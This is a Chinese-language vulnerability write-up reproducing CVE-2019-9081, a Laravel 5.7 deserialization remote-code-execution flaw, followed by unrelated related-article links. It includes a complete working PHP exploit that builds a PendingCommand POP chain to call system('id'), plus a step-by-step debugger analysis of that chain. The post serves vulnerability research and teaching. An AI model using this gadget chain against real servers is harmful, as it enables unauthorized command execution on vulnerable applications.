代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析
本文首发于先知社区:https://xz.aliyun.com/t/5510
环境:
php7.2+apache+laravel5.7
漏洞描述:
Laravel Framework是Taylor Otwell软件开发者开发的一款基于PHP的Web应用程序开发框架。Illuminate是其中的一个组件。Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞,远程攻击者可利用该漏洞执行代码。
假设存在以下二次开发漏洞点:
public function index()
{
if(isset($_GET['code']))
{
$code = $_GET['code'];
unserialize($code);
return "2333";
}
}
exp.php:
放在public文件夹下执行
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('id'),$genericuser,$application);
echo urlencode(serialize($pendingcommand));
}
?>
攻击效果:

分析过程:
首先因为在laravel5.7核心包里面,那么在github中看看5.7相对于5.6增加了哪些东西:


其中可以看到5.7中多了一个

对于新增加的文件,可以通过官方文档的api函数说明去了解该文件的作用,其中定义了PendingCommand类

其中存在反序列化方法__destruct(),在此析构函数中调用了run()方法:

而此方法可以在其注释中发现其用于执行命令,那么思路就为通过反序列化该类的实例对象来调用run方法执行命令达到rce的效果。在对一个类进行研究时,首先要看看与其相关的成员变量:

在其构造方法中,有以下四个重要变量:
$this->app; //一个实例化的类 Illuminate\Foundation\Application
$this->test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->command; //要执行的php函数 system
$this->parameters; //要执行的php函数的参数 array('id')

断点跟踪分析:
首先在反序列化方法unserialize()处下断点,执行exp生成的payload后将停在此处,此时F7进入unserialize函数进行分析:

按道理说反序列化的下一步接下来就是触发__destruct函数,那么我们继续F7,可以在左下方的函数调用栈中发现出现了两处调用,

首先调用spl_autoload_call()方法

因为我们在payload中使用的类在Task控制器中并没有加载进来,因此便触发了PHP的自动加载的功能,也就是实现了 lazy loading,以加载类PendingCommand为例进行分析(其它所用到的类加载方式相同):关于PHP自动加载的相关描述可以参考
https://learnku.com/articles/4681/analysis-of-the-principle-of-php-automatic-loading-function
首先是类AliasLoadder中load方法的调用,其中涉及到使用Laravel框架所带有的Facade功能去尝试加载我们payload中所需要的类,这里的判断的逻辑主要是有2条:
1.用户提供所要加载的类是不是其中包含"Facades",如果是则通过loadFacade()函数进行加载
2.在Illuminate\Support\Facades命名空间中寻找是否含有用户所要加载的类



如果通过load()方法没有加载成功,则会调用loadclass()函数进行加载,而loadclass()函数中通过调用findfile()函数去尝试通过Laravel中的composer的自动加载功能含有的classmap去尝试寻找要加载的类所对应的类文件位置,此时将会加载vendor目录中所有组件, 并生成namespace + classname的一个 key => value 的 php 数组来对所包含的文件来进行一个匹配:



找到类PendingCommand所对应的文件后,将通过includeFile()函数进行包含,从而完成类PendingCommand的整个加载流程

加载完所需要的类后,将进入__destruct方法,此时hasExecuted属性默认为false,即还没有执行命令,所以此时才能调用run方法:

继续使用F7进入用于执行命令的run()函数进行分析:

在run方法中,首先要调用mockConsoleOutput()方法,该方法主要用于模拟应用程序的控制台输出,此时因为要加载类Mockery和类Arrayinput,所以又要通过spl_autoload_call->load->loadclass加载所需要的类,并且此时又会调用createABufferedOutputMock()函数

按F7进入createABufferedOutputMock观察一下其内部的实现,其中又调用了Mockery的mock()函数,此时继续F7进入mock函数,进入以后直接F8单步执行即可,我们的目的只需要此段代码能够往下执行,在调试的时候我们并不一定要搞清每个变量每个函数的作用,调用链实在是太长太复杂,并且只要它不出错就行
Mockery是一个简单而灵活的PHP模拟对象框架,在 Laravel 应用程序测试中,我们可能希望「模拟」应用程序的某些功能的行为,从而避免该部分在测试中真正执行

接下来是exp构造的第一个亮点:

此时在createABufferedOutputMock()方法中要进入for循环,并且在其中要调用tes对象的expectedOutput属性,然而在可以实例化的类中不存在expectedOutput属性(通过ctrl+shift+F即可进行全局搜索),只在一些测试类中存在

所以这里要用到php的一个小trick,也是经常在ctf题中可能遇到的,当访问不存在的属性时会触发__get()方法,通过去触发__get()方法去进一步构造pop链,而在Illuminate\Auth\GenericUser的__get方法中存在:

而此时$this->test是Illuminate\Auth\GenericUser的实例化对象,其是我们传入的,那么其是可以控制的,即attributes属性也是我们可以控制的,那当发生$this->test->expectedOutput的调用时,我们只需要让attributes中存在键名为expectedOutput的数组,即数组中有内容就能够通过循环流程进行返回,继续F8单步执行即可跳出createABufferedOutputMock()方法

此时回到mockConsoleOutput()函数中,又进行了一个循环遍历,调用了test对象的的expectedQuestions属性,里面的循环体与createABufferedOutputMock()函数的循环体相同,因此绕过方法也是通过调用__get()方法,设置一个键名为expectedQuestions的数组即可,此时将继续往下走,继续F8单步调试就可以return $mock,从而走出mockConsoleOutput()函数。接下来回到run函数中,此时到了触发rce的关键点,也就是exp构造的第二个关键点:

其中出现了$this->app[Kernel::class]->call方法的调用,其中Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,并且call的参数为我们所要执行的命令和命令参数($this->command, $this->parameters),那我们此时需要弄清$this->app[Kernal::class]返回的是哪个类的对象,使用F7步入程序内部进行分析

直到得到以下的调用栈,此时继续F8单步执行到利用payload的语句,此时因为$this为Illuminate\Foundation\Application,bindings属性是Container类的,而这里也是pauload中选择Applocation作为app参数值的原因,那么通过反序列化我们可以控制bindings属性,而此时$abstract为固定值,即只需要让$bindings为一个二维数组,其中键$abstract作为数组,其中存在键名为concrete,键值为我们想要实例化的类Application即可

此时继续F8往下走,到了实例化Application类的时刻, 此时要满足isBuildable函数才可以进行build,因此F7步入查看

此时$concrete为Application,而$abstract为kernal,显然不满足,并且||右边$concrete明显不是闭包类的实例化,所以此时不满足Application实例化条件,此时继续F7,此时将会调用make函数,并且此时将$abstract赋值为了Application,并且make函数又调用了resolve函数,即实现了第二次调用isBuildable()函数判断是否可以进行实例化,即此时已经可以成功实例化类Application,即完成了$this->app[Kernel::class]为Application对象的转化


接下来将调用类Application中的call方法,即其父类Container中的call方法


其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有"@“,并且$defaultMethod默认为null,显然此时不满足if条件,即进入第二个分支,callBoundMethod()函数的调用

在callBoundMethod()函数中将调用call_user_func_array()函数来执行最终的命令,首先$callback为”system“,参数为静态方法getMethodDependencies()函数的返回值,F7步入看看

在return处可以看到此时调用array_merge函数将$dependencies数组和$parameters数组进行合并,但是$dependencies数组为空,因此对我们要执行命令的参数不产生影响,即在此步返回将执行命令,即完成
call_user_func_array('system',array('id'))
此时run函数中$exitcode值即为命令的执行结果

参考:
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
https://learnku.com/docs/laravel/5.7/facades/2251
https://learnku.com/articles/12575/deep-analysis-of-the-laravel-service-container
https://laravel.com/docs/5.7/structure#the-tests-directory
代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析的更多相关文章
- java反序列化——apache-shiro复现分析
本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...
- .NET高级代码审计(第四课) JavaScriptSerializer反序列化漏洞
0X00 前言 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.S ...
- [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞
[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Jboss反序列化漏洞复现(CVE-2017-12149)
Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...
- jboss反序列化漏洞复现(CVE-2017-7504)
jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ...
- php反序列化漏洞复现过程
PHP反序列化漏洞复现 测试代码 我们运行以上代码文件,来证明函数被调用: 应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都 ...
- php反序列化漏洞复现
超适合小白的php反序列化漏洞复现 写在前头的话 在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下.我觉得学习的时候,所有的问题都应该问3个问题: ...
- fastjson =< 1.2.47 反序列化漏洞复现
fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...
随机推荐
- visual studio2015 搭建pro*c开发编译环境
关于pro*c是什么,这里不做介绍,主要说明如何在vs2015里面开发pro*c程序,并编译exe执行文件 一.vs2015环境配置 1.新建一个空的vc++项目,如下图 2.右击项目属性,添加相关的 ...
- R语言学习笔记:读取前n行数据
常规读取 一般我们读取文件时都会读取全部的文件然后再进行操作,因为R是基于内存进行计算的. data <- read.table("C:\\Users\\Hider\\Desktop\ ...
- js定时器 离开当前页面任然执行的问题
今天在博客上看到有人问 js定时器-----离开当前页面原本匀速运动的div加速了,回到页面若干时间恢复匀速??? 他是js定时器控制一个盒子做旋转动画 离开页面后js还在执行 但是盒子这个dom却被 ...
- Linux 下幾種網芳/Samba 目錄的 mount 方式
Linux 下幾種網芳/Samba 目錄的 mount 方式,比較新的 Smaba 只能用 cifs 的 mount 方式. [smbmount] smbmount -o username=&qu ...
- 《Linux就该这么学》day3
ps:原谅我的书法出自鲁迅的<野草> <Linux就该这么学>书本介绍: 本书是由全国多名红帽架构师(RHCA)基于最新Linux系统共同编写的高质量Linux技术自学教程,极 ...
- idea管理tomcat
第一步,打开idea的文件——>设置——选择Application Servers: 第二步,点击+号,下拉选择Tomcat Server: 如果已经配置了环境变量CATALINA_HOME,也 ...
- 浅析jsp
什么是jsp?jsp的全称是 java Server Page ,也就是俗称的动态网页,什么是静态网页和动态网页呢,在我理解看来,HTML等网页就属于静态网页,jsp等网页属于动态网页,为什么这么说呢 ...
- Linux系统用户权限管理
Linux系统中三种基本权限 用户属主.用户属组及其它人权限 -rw-r--r-- 1 root root 762 11-11 20:34 a.out 文件类型 ls命令中的缩写 应用 一般文件 - ...
- matlab 基础知识1
一.数组和矩阵注意 逗号 和 分号 的区别 向量生成方式: 传统方式:行向量 :空格,逗号列向量 :分号,回车 函数方式: x = linspace(a,b,n) 等分关系,从a 到 b, n等分.n ...
- 【算法学习笔记】RMQ问题与ST表
\(0.\) RMQ问题 P1816 人话翻译 给定一个长度为\(n\)的数列\(a\),然后有\(m\)组询问,每次询问一个区间\([l,r]\)的最小值. 其中\(m,n\leq10^5\) \( ...